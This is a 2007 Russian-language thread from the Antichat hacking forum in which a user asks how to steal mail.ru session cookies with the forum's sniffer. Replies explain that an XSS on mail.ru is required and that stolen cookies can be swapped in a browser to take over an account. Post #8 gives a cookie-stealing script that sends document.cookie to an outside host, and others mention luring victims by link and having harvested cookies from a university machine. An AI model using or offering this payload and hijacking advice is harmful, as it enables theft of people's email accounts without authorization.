HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Снифер античата и mail.ru
  #1  
Старый 21.05.2007, 23:00
cigaretteburn
Новичок
Регистрация: 21.05.2007
Сообщений: 10
С нами: 9986201

Репутация: 3
По умолчанию Снифер античата и mail.ru

Всем привет. У меня такой вопрос: как с помощью снифера на античате, (http://antichat.ru/cgi-bin/s.jpg) узнать куки на mail.ru ??
 
Ответить с цитированием

  #2  
Старый 21.05.2007, 23:06
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами: 10188326

Репутация: 1866


По умолчанию

Для этого тебе нужна XSS на mail.ru
 
Ответить с цитированием

  #3  
Старый 21.05.2007, 23:15
Ksander
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
С нами: 10467686

Репутация: 930


По умолчанию

Цитата:
Сообщение от ice1k  
Для этого тебе нужна XSS на mail.ru

Если просматривать письмо через Ж то можно украсть сессию. Только как нужно его просматривать я не знаю =(
 
Ответить с цитированием

  #4  
Старый 21.05.2007, 23:16
Naf
Новичок
Регистрация: 19.05.2007
Сообщений: 11
С нами: 9989121

Репутация: 11
По умолчанию

а что толку от куков? они пароли не дают.
у меня есть папка с универа (все куки забрал...
ничего интересного, кроме адресов посещения, жж и блогов.
 
Ответить с цитированием

  #5  
Старый 21.05.2007, 23:16
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию

Цитата:
Сообщение от cigaretteburn  
Всем привет. У меня такой вопрос: как с помощью снифера на античате, (http://antichat.ru/cgi-bin/s.jpg) узнать куки на mail.ru ??
снач можешь прочитать вот тут потом можешь посмареть тут а уже потом ...или найти самому активную или пасссиввную...или зайти сюда или сюда и поискать пост с XSS на mail.ru
 
Ответить с цитированием

  #6  
Старый 22.05.2007, 00:50
cigaretteburn
Новичок
Регистрация: 21.05.2007
Сообщений: 10
С нами: 9986201

Репутация: 3
По умолчанию

Цитата:
Сообщение от Naf  
а что толку от куков? они пароли не дают.
у меня есть папка с универа (все куки забрал...
ничего интересного, кроме адресов посещения, жж и блогов.
Как это толку? в опере меняеш куки и всё..
 
Ответить с цитированием

  #7  
Старый 22.05.2007, 00:54
cigaretteburn
Новичок
Регистрация: 21.05.2007
Сообщений: 10
С нами: 9986201

Репутация: 3
По умолчанию

Цитата:
Сообщение от ice1k  
Для этого тебе нужна XSS на mail.ru
ну точто нужна XSS это понятно, а кто может дать именно код XSS работающий для использования снифа?
 
Ответить с цитированием

  #8  
Старый 22.05.2007, 01:14
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
С нами: 10578566

Репутация: 1228


По умолчанию

Цитата:
Сообщение от cigaretteburn  
ну точто нужна XSS это понятно, а кто может дать именно код XSS работающий для использования снифа?
просто код вот:
Код:
<script>img = new Image(); img.src = "http://host.ru/s/s.gif?"+document.cookie;</script>
естественно на mail.ru такой вариант не прокатит, т.к служба безопасности почты понимает всю опасность и фильрует подобные весчи!
Но всеже в привате существуют рабочие XSS, но просто так тебе их никто не даст.
Разве что за $
 
Ответить с цитированием

  #9  
Старый 22.05.2007, 01:24
ultimatum
Участник форума
Регистрация: 28.04.2007
Сообщений: 239
С нами: 10019906

Репутация: 161
По умолчанию

Цитата:
естественно на mail.ru такой вариант не прокатит, т.к служба безопасности почты понимает всю опасность и фильрует подобные весчи!
ну по ссылке то всё ровно можно заманить человека, где соответственно будет рабочий, подделанный xss ,
 
Ответить с цитированием

  #10  
Старый 22.05.2007, 01:55
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
С нами: 12604706

Репутация: 0


По умолчанию

Цитата:
Сообщение от ultimatum  
ну по ссылке то всё ровно можно заманить человека, где соответственно будет рабочий, подделанный xss ,
Куда бы ты не заманивал пользователя, все равно должен быть xss на целевом сайте (в данном случае mail.ru)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
сниффер АНТИЧАТА Black_Death Болталка 2 17.05.2007 19:16



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.